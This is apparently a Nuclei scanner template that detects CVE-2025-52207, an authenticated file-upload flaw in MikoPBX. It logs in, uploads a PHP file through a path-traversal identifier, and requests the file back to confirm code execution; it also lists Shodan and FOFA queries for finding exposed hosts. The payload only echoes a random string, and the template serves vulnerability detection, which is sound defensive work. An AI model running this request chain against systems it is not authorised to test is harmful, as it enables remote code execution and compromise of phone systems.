id: CVE-2025-52207

info:
  name: MikoPBX - Unrestricted File Upload
  author: darses
  severity: critical
  description: |
    MikoPBX through 2024.1.114 contains an authenticated unrestricted file upload vulnerability caused by allowing PHP script uploads in PBXCoreREST/Controllers/Files/PostController.php.
  impact: |
    Authenticated attackers can upload and execute arbitrary PHP scripts, leading to remote code execution and full system compromise.
  remediation: |
    Update to the latest version beyond 2024.1.114.
  reference:
    - https://github.com/mikopbx/Core/commit/3ee785429d3f1b33c9ab387ef4221127c9b8c5f3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
    cvss-score: 9.9
    cve-id: CVE-2025-52207
    cwe-id: CWE-23
    epss-score: 0.0987
    epss-percentile: 0.93098
  metadata:
    vendor: miko
    product: mikopbx
    shodan-query:
      - product:"mikopbx"
      - http.favicon.hash:8309143
      - title:"MikoPBX"
    fofa-query:
      - icon_hash="8309143"
      - title="MikoPBX"
  tags: cve,cve2025,miko,mikopbx,intrusive,authenticated,file-upload,vuln,vkev

variables:
  filename: "{{to_lower(rand_base(8))}}"
  filecontent: "<?php echo(base64_encode(\"{{filename}}\")); ?>"

flow: http(1) && http(2) && http(3)


http:
  - raw:
      - |
        POST /admin-cabinet/session/start HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        WebAdminLanguage=en&login={{username}}&password={{password}}&rememberMeCheckBox=false&backUri=%2F

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, 'BreadcrumbSessionstart')
          - contains(content_type, 'text/html')
          - status_code == 200
        condition: and
        internal: true

  - raw:
      - |
        POST /pbxcore/api/files/uploadFile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------{{filename}}
        Accept-Encoding: gzip

        -----------------------------{{filename}}
        Content-Disposition: form-data; name="resumableFilename"

        {{filename}}.php
        -----------------------------{{filename}}
        Content-Disposition: form-data; name="resumableIdentifier"

        ../files_cache/{{filename}}
        -----------------------------{{filename}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}.php"
        Content-Type: application/octet-stream

        {{filecontent}}
        -----------------------------{{filename}}
        Content-Disposition: form-data; name="resumableChunkNumber"

        1
        -----------------------------{{filename}}
        Content-Disposition: form-data; name="resumableTotalChunks"

        1
        -----------------------------{{filename}}
        Content-Disposition: form-data; name="resumableTotalSize"

        {{len(filecontent)}}
        -----------------------------{{filename}}--


    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{\"jsonapi\":{\"version\":\"1.0\"},\"result\":true,\"data\":")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: upload_path
        json:
          - .data.filename
        internal: true

      - type: dsl
        name: extracted_path
        dsl:
          - replace_regex(upload_path, "(.*\/files_cache)\/", "")
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/pbxcore/files/cache/{{extracted_path}}?{{wait_for(3)}}"

    matchers:
      - type: dsl
        dsl:
          - body==base64(filename)
          - status_code==200
        condition: and
# digest: 4a0a0047304502200e1794f9451bb86dd56f98bfb702a289835d44bab1f16f707cdfd838dba9686e0221008f0056a475cdfc7e8bf110564a3c596e08bcaf722f6f1548ebd340011f71f16d:922c64590222798bb761d5b6d8e72950